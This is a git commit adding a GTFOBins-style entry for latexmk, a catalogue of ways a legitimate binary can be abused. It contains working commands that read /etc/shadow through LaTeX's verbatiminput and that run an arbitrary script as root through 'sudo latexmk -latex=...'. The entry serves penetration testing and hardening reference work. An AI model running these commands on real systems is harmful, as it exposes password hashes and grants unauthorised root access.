Create latexmk.tex

Add latexmk.
This commit is contained in:
SynackCerv 2021-04-22 22:15:40 +02:00 committed by GitHub
parent 2972d25e23
commit ff22bbda93
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

11
_gtfobins/latexmk.tex Normal file
View File

@ -0,0 +1,11 @@
description: `latexmk` is a perl script.
functions:
file-read:
- code: |
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
latexmk read.tex
strings read.dvi
sudo:
- code: |
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
sudo latexmk -latex="/tmp/run.sh" file.tex